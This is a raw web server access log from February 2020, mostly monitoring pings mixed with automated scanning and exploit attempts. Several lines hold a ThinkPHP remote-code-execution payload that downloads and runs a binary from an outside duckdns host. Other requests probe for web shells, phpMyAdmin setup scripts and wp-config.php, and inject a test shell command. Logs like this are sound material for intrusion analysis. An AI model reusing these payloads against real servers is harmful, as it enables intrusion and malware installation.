212.91.246.72 - - [13/Feb/2020:10:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.110.43 - - [13/Feb/2020:10:01:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [13/Feb/2020:10:03:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.205.66.218 - - [13/Feb/2020:10:03:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.118.253.189 - - [13/Feb/2020:10:03:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.119.215 - - [13/Feb/2020:10:05:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.181 - - [13/Feb/2020:10:05:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
166.62.92.37 - - [13/Feb/2020:10:09:40 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
166.62.92.37 - - [13/Feb/2020:10:09:40 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
166.62.92.37 - - [13/Feb/2020:10:10:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:10:04 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:10:04 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:10:04 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:10:04 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:10:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:10:26 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:10:47 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:11:13 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:10:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:11:37 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:12:00 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:10:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.92.37 - - [13/Feb/2020:10:12:27 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
166.62.92.37 - - [13/Feb/2020:10:12:50 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
166.62.92.37 - - [13/Feb/2020:10:12:51 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:52 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:52 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:52 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:52 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:52 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:52 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:53 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:53 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:53 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:53 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:53 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:54 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:55 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:55 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:55 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:56 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:56 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:56 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:56 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:56 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:56 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:57 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:57 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:57 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:57 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:57 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:57 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:58 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:58 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:58 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:58 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:58 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:58 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:59 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:59 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:12:59 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:00 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:00 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:00 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:00 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:00 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:00 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:01 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:01 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
81.99.248.167 - - [13/Feb/2020:10:13:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
81.99.248.167 - - [13/Feb/2020:10:13:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
166.62.92.37 - - [13/Feb/2020:10:13:01 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:01 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:01 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:02 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:02 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:02 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:02 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:02 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:02 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:03 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:03 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:03 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:03 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:03 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:03 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:04 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:04 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:04 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:04 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:04 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:04 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:05 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:05 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:05 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:05 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
166.62.92.37 - - [13/Feb/2020:10:13:05 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
